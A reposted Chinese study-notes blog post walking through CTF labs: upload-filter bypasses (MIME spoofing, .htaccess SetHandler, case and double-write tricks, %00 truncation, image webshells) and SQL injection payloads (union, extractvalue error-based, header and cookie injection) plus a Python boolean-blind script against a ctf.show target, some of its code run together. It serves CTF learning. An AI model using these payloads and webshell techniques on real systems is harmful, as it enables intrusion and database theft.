欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 八卦 > upload

upload

2025/3/31 20:23:35 来源:https://blog.csdn.net/2401_87409653/article/details/145958174  浏览:    关键词:upload

(上传一句话木马,用蚁剑链接验证是否成功/传有回显的:<?php phpinfo();?>)

学看代码

#function checkfile(){}:定义了一个名叫checkfile的函数

#var file=方法.(获取名为‘upload_file’的元素)[获取哪些,第一行].获取元素的value属性

【if】判断1:是否上传了

#var 允许上传文件类型:.jpg .png .gif

提取文件后缀名

【if】判断2:检查文件,不符合要求就返回错误

$(var)申明变量

【】判断1:检查$_POST数组中是否有‘submit’(提交键名称)

【】判断2:检查上传路径是否存在

【】判断3:判断文件内容类型

['upload_file']:这是$_FILES数组中的一个元素,对应于表单中name属性为upload_file<input type="file">元素

['type']$_FILES['upload_file']数组中的一个键,它包含了上传文件的MIME类型

【】路径:UPLOAD_PATH . '/' . $_FILES['upload_file']['name']

点是PHP中的字符串连接操作符,UPLOAD_PATH/上传文件名连接起来,形成一个完整的文件路径

【】判断1、2:上传了文件

(定义不允许上传类型的后缀的数组)

(文件名处理)删头尾空格,删末尾点;

(找后缀处理)找最后一个点之后部分,小写后缀,去除后缀中‘::$DATA’,去除后缀头尾的空

【】判断3:检查文件扩展名是否在禁止上传的扩展名列表中

构造上传文件的目标路径(包括一个基于当前日期和时间的目录,以及一个随机数,以减少文件名冲突的可能性)

【】再判断上传的文件从临时目录移动到目标目录是否成功

#严谨了后缀,(禁了ini,没禁htaceess)

#(没禁ini)

WP

一、前端验证:禁用js

更通用做法

后缀1.jpg,bp抓包改1.php

或删除js代码(新文件后缀html)+action="上传地址"

二、(MIME:Content-Type)

bp抓包改成源码中允许上传的type

<img src="C:\Users\34652\Pictures\Screenshots\屏幕截图 2024-12-20 235722.png" alt="屏幕截图 2024-12-20 235722" style="zoom: 50%;" />

三、前端验证(黑名单:格式后缀)【特殊解析后缀:】

<img src="C:\Users\34652\Pictures\Screenshots\屏幕截图 2024-12-20 235826.png" alt="屏幕截图 2024-12-20 235826" style="zoom:50%;" />

【.png怎么执行】四、(黑名单:禁用特殊解析后缀;防止大小写绕过)

htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置。

(网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能)

通俗点来说,利用这个文件,修改服务器的配置,让服务器将文件内容符合php语法的.png结尾的文件解析为php语言去执行。

上传一个同名.htaccess文件(文件名必须一致)SetHandler application/x-httpd-php

五、(少了大小写绕过:利用)

.PHp

六,七、(少了收尾去空),(少了收尾去点)【Windows】

八、(少了去除字符串)

九、十(只匹配替换一次)双写绕过

.pphphp

十一、十二、(后缀名是白名单,但看别的函参)

$save_path:%00截断

(用bp,url解码)

十三、

图片马,末尾加码

十四、getimagesize

函数的重点——fread2字节:

POINTs:

POST有什么特点:账户登录页面

读报错信息:for the right syntax to use near 类似的...

判断是否存在sql注入

联合注入,

报错注入:extractvalue()、updatexml()、group by()

sql注入——报错注入-CSDN博客

布尔盲注

import requests
import timeurl = "http://43d7c6c4-a8ab-41f3-8e14-fc32c023ca20.challenge.ctf.show/"
payload = {"uname" : "","passwd" : "123456","submit" : "Submit"
}
result = ""
for i in range(1,100):l = 33r =130mid = (l+r)>>1while(l<r):# 跑库名#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})-- ".format(i, mid)# 跑表名#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctfshow'),{0},1))>{1})-- ".format(i, mid)# 跑列名#"-1\" or 0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'flagb'),{0},1))>{1})-- ".format(i,mid)########################"-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)payload["uname"] ="-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)html = requests.post(url,data=payload)print(payload)if "/images/flag.jpg" in html.text:l = mid+1else:r = midmid = (l+r)>>1if(chr(mid)==" "):breakresult = result + chr(mid)print(result)
print("flag: " ,result)

问为什么不能用--+注释:

-- ;--+;#

多了个Base64编码,且读取要用到【select reverse()】
 

11:双参数

1

1':有报错

1' or 1=1#

1' union select 1,2#

回显位是2

uname=1' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit

(table_name)

information_schema.tables

where table_schema='ctfshow'--+【schema_name】

(column_name)

information_schema.columns

where table_name='flagugsd'--+

uname=1' and 1=2 union select 1,group_concat(flag43s) from ctfshow.flagugsd--+&passwd=123456&submit=Submit

12:

1;1'

1":有报错

1") or 1=1#

1") union select 1,2#

13:单引号

用\报错

14:双引号

15:(没有报错信息)布尔盲注

测闭合,测回显位(盲注不用)

16:布尔盲注

1") or = --+登陆成功

17:【密码RESET界面】报错注入【代码有报错】

查看源码:

$value(账户名)获取、处理(删除\,转义特殊字符,数字变整数)

从$update注入

uname=DUMB&passwd=123456&submit=Submit' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+

18:(ip)

返回了User Agent【U-A注入】

【POST:

uname=DUMB&passwd=DUMB&submit=Submit】

【schema_name】

' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) and '1'='1

【table_name】

' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e)) and '1'='1

【column_name】

' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e)) and '1'='1

【获取字段值】

' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

【逆读】

' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1

19:referer注入

(和U-A一样)

20:cookie注入

登录得到回显(包括了自己的cookie)

【检查了POST,存在COOKIE方式提交的uname变量

猜测在header里的cookie进行注入

1'测注入点,测闭合方式

爆库

uname=' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

21:

多了个Base64编码

该版本sqli-labs结束.

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词